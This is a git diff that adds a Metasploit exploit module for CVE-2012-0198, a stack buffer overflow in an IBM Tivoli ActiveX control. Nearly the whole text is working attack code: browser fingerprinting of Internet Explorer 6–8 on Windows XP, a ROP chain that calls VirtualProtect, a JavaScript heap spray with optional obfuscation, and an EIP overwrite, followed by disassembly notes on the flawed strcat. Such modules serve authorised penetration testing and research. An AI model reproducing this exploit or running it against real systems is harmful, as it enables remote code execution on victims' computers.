diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb new file mode 100644 index 0000000000..c9fa5d6271 --- /dev/null +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -0,0 +1,263 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :os_name => OperatingSystems::WINDOWS, + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :rank => NormalRanking, + :classid => "{84B74E82-3475-420E-9949-773B4FB91771}", + :vuln_test => "RunAndUploadFile", + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in the + Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning + Manager Express for Software Distribution 4.1.1. + + The vulnerability is found in the "RunAndUploadFile" method + where the "OtherFields" parameter with user controlled data + is used to build a "Content-Dispoition" header and attach + contents in a insecure way which allows to overflow a buffer + in the stack. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrea Micalizzi aka rgod', # Vulnerability discovery + 'juan vazquez', # Metasploit module + 'sinn3r' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0198' ], + [ 'OSVDB', '79735' ], + [ 'BID', '52252' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ] + ], + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # isig.dll 2.44.282.0 + [ 'Automatic', {} ], + [ + 'IE 6 on Windows XP SP3', + { + 'Rop' => nil, + 'Offset' => 161, # length is strlen("submit") dependant + 'OffsetShell' => '0x800 - code.length', + 'ebp' => 0x09090909, + 'Ret' => 0x09090909 + } + ], + [ + 'IE 7 on Windows XP SP3', + { + 'Rop' => nil, + 'Offset' => 161, # length is strlen("submit") dependant + 'OffsetShell' => '0x800 - code.length', + 'ebp' => 0x09090909, + 'Ret' => 0x09090909 + } + ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :jre, + 'Offset' => 161, # length is strlen("submit") dependant + 'OffsetShell' => '0x480', + 'ebp' => 0x09090920, + 'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Mar 01 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) + ], self.class) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ + return targets[1] #IE 6 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ + return targets[2] #IE 7 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ + return targets[3] #IE 8 on Windows XP SP3 + else + return nil + end + end + + def get_payload(t, cli) + + if t['Rop'].nil? + code = "" + else + #Fix the stack to avoid anything busted + code = "\x81\xC4\x54\xF2\xFF\xFF" + end + code << payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :jre + print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP") + exec_size = 0xffffffff - code.length + 1 + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + exec_size, # Value to NEG + 0x7c347f98, # RETN (ROP NOP) + 0x7c3415a2, # JMP [EAX] + 0xffffffff, + 0x7c376402, # skip 4 bytes + 0x7c351e05, # NEG EAX # RETN + 0x7c345255, # INC EBX # FPATAN # RETN + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7c344f87, # POP EDX # RETN + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN + 0x7c34d201, # POP ECX # RETN + 0x7c38b001, # &Writable location + 0x7c347f97, # POP EAX # RETN + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN + 0x7c345c30, # ptr to 'push esp # ret ' + ].pack("V*") + end + + code = rop + code + return code + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if the victim doesn't have the same setup we're targeting + if my_target.nil? + print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}") + send_not_found(cli) + return + end + + print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}") + + p = get_payload(my_target, cli) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch)) + + js_spray = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['OffsetShell']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + heap_obj.gc(); + for (var i=0; i < 0x1A0; i++) { + heap_obj.alloc(block); + } + + JS + + js_spray = heaplib(js_spray, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) + js_spray.obfuscate + end + + bof = rand_text_alpha(my_target['Offset']) + bof << [my_target['ebp']].pack("V") # ebp + bof << [my_target.ret].pack("V") # eip + + html = <<-HTML + + + + + + + + HTML + + html = html.gsub(/^\t\t/, '') + + print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + +=begin + +* Vulnerability notes + +The Dangerous strcat allows to attach user-controlled contents after +the Content-disposition header: + +.text:100040B0 Src = byte ptr -100h +... +.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param +.text:100040E0 lea eax, [ebp+Src] +.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header + ; has been stored +.text:100040E7 call _strcat ; strcat used by this module to overflow + +Function isn't protected with stack cookies so get +the control flow is easy by overwriting the saved EIP +on the stack. + +=end